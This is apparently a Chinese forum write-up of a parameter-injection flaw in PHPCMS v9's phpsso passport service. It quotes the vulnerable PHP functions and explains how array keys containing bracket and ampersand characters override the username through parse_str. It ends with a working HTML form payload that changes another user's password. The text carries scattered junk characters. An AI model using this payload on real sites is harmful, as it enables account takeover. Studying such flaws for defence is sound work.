提到的通行证的代码:
& V2 \& y. C! B9 f$ k \
1 |* R. I7 \9 d7 t) I [% {1 S- w
2 |; `+ Y7 b: S9 g: b. iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);, d" V b6 v; |
3 e5 v' \! n* A$ W, p在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
9 n: Q% _( W) m# ]- s2 s4 G* {5 r+ a7 }1 ^
我把它留给了你们。1 m8 V0 d+ Q" S/ A, ^1 p1 X6 c! o
不知道你们发现了它没有。
" o9 b {8 k, h
+ `# f0 J3 C* e6 S9 S- k I我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。% R3 [5 e- p C) R& D6 x4 ~
* {& G0 c5 ~& Q+ Y `/ K+ I所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。; q( Z8 x& K& h: A: z8 H+ a
+ k4 }& F, h" x6 S9 F0 R! x
也就是
1 w2 b& T3 Q2 Y p
0 f- k- n( d6 I& k k* W) W9 z/ Ausername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。( T/ I( ~' H0 q+ H- C% @% {
4 ~. f' M; [/ Z要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
' `: L3 ^( i# i8 p1 d
9 y. k- `5 u5 J: p
J) g. n9 t: j# w e) X2 T其实我们有这样的机会,看看代码,如下:
) w9 Q2 U% g" \% M' S
' g3 B; b# U% T! l
6 d& V1 N; X. ~( Q. Bpublic function auth_data($data) {+ X( d$ P7 l e! D( c
$s = $sep = '';
) n& z/ l5 D# H2 i! L foreach($data as $k => $v) {
. ^' S1 Y. e/ S if(is_array($v)) {/ k3 b5 m9 F6 Y* U1 r
$s2 = $sep2 = '';/ Z3 T8 q1 s. a- o6 v6 }
foreach($v as $k2 => $v2) {
# k" m* U9 L0 N* i% x; s $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 b7 Y! |7 r* w* t' e" P+ ~) P
$sep2 = '&';% B' Y4 s9 H5 l% |
}. l, O) F, Z) a- c' M
$s .= $sep.$s2;
! b4 k) a1 m l6 D. l } else {* c9 d1 j: h8 f% Z
$s .= "$sep$k=".$this->_ps_stripslashes($v);* K( T/ S- _5 `! v! Y& V
}6 ]. ]- Y3 ^: E5 Q. e+ g
$sep = '&';
7 ? `' s3 O. V. H0 J }! O% G7 ~1 t! S. }) f; q
: n3 u0 ^: R7 c9 p; J- c8 R5 V
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));6 X2 I9 t9 W; Q1 [
return $auth_s;- j H4 N7 B* A3 ]+ h
}
* T; n; C$ G0 u$ r( T
" Q" j; g2 O1 k& q可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
9 ~: Y* G9 O: F& X3 r" [8 f6 W3 z+ K
- p) l# }+ B! o ` B1 i举个例子' {- o9 Z+ U; e: @. b) A3 \
# b9 Z |& Z1 e' _# Z; J% v8 m: A
$a[aaa=a&bbb] = 'a';
1 W- g9 k. f8 |3 ~) Z$ P& s- H& X1 F( x6 M: L( J" b5 Z
会变成aaa=a&bbb=a
% _" m) q' S$ e/ A4 G& M* C( e1 V# N$ o2 u9 O ]! ?2 k5 z
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。2 N1 i7 f( B: o( u4 y" `+ O$ {# d, d
9 G2 }; f& N$ R% V. \" x
这个时候,我们可以再去看一个函数。- ?/ G, `2 }5 L. w
8 b, f2 H, Q( F% j# g, L就在这个文件内:
9 I# @1 _. N) W$ q# ^
( Q1 V0 |0 V& C' K6 o! d% Y0 [8 w4 p6 d F2 l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') { X3 h, ]7 |% Z% W+ _
if($email && !$this->_is_email($email)) {
& p! Q$ u( ?* I% K3 L# v return -4;
3 c1 I! v) ^. i9 u5 N }/ h: f. r) W+ G0 a% w
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
5 A2 S8 y9 S4 }" \7 m8 B X }
% x. D0 K; @" x) @; C5 A% r+ ]% o8 d; @# I
这是向通行证发了这样一个请求。
! \7 F0 L2 Y0 N1 f6 I$ v! m) T, g& F! M7 q7 Z; W
我们再跟到通信证代码里去看看,就会有所发现。
a; B: o8 ~4 k6 t7 Q! A' ^" M! o
( J! b2 D6 G3 ?/ v$ P* U) I0 f( C
4 Z& Q& q2 P) M# j' zpublic function edit() {
2 \) Q! j* i1 H% F& W& `+ m2 ~5 [6 n//能省就省,太长了不是吗?+ E/ z* V# N* U
" s' L" i& ]3 G8 y/ e0 Z" u# r: o
if($this->username) {8 m: K7 L5 x$ M
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. Y) u0 h, b" H9 \9 u0 V9 z $res = $this->db->update($data, array('username'=>$this->username));
0 P+ v4 A+ z. Q } else {
. [) T* g3 p7 c! `8 m3 O file_put_contents('typeb.txt',print_r($data,1).$this->uid);1 b# W' D# ?9 s3 d: X. y
$res = $this->db->update($data, array('uid'=>$this->uid));
% S9 G% y9 I: A2 P0 z+ g }. G9 D, D) | z+ N8 B+ J
! O3 a. P: {" g2 `3 F+ e
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
- c: i) a5 ?2 v% V( v: p( T( I8 H( S- l1 O, E! r0 l5 Y1 ^/ n
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')+ c5 r8 T2 d. e0 O
0 O* R$ A9 D7 h$ Q3 K, o2 l" \很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
* H1 p9 M! S' |3 k2 l
! ^6 Y: V9 p# \3 I9 _7 V我当然找到了:* h9 H S3 r, \( t# Y# P
phpcms9/phpcms/modules/member/index.php
8 e9 `/ ~# }! _3 A+ o( T& n4 `+ w# d( z1 P5 {# @: `1 Y
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);# K) r8 ]( ?- u8 i @; X: e4 C
' j4 g+ g: g- L3 x3 @' v* C然后就没有然后了。. X: O' ~& Y6 Z j [/ ^
8 {5 f+ ?8 m G, ^5 }( h
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">. P2 i8 [1 B5 x! j
<table width="100%" cellspacing="0" class="table_form">/ w u/ w; o8 ^; Y7 F* o, w2 h
<tr>& S) C- k( W% o+ H; y$ a& N, Z2 `
<th width="80">邮箱:</th> , H# h: {5 X, O5 c! ~
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>& M& t5 S, |$ s# O7 O2 `1 w
</tr>
1 w% W! w8 n7 U+ }& X8 \ w0 w$ A <tr>
' Y, a( N( d; ` <th width="80">原密码:</th>
4 E' D! ^4 @8 I! B7 E# ^9 f <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>+ v- m. x r& Y' @6 l4 F5 W
</tr>
& j8 b9 W4 l* n) b b: Y+ p <tr>
) H# y+ i' G, ?. u% ? <th>新密码:</th>
- l7 h. k+ m3 z! [5 } <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
8 C9 E- J1 j! O+ M6 x% W3 K$ ? </tr>
' t& m% G# z- w' ~9 W0 R <th></th>
4 U9 x Q. Y4 d: P7 S: b <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
# X1 E/ d0 g; F! d) r1 q </tr>9 F# W$ N2 i) s; p' G* o
</table>! i3 l+ g6 n A( D. C8 Z o4 b! _
$ F8 K; ^) V3 x$ o0 L- | # i/ W/ N8 v2 ]/ a& A& o0 b
</form>. @/ O6 n. N; {* x; g7 {5 s/ G7 E
|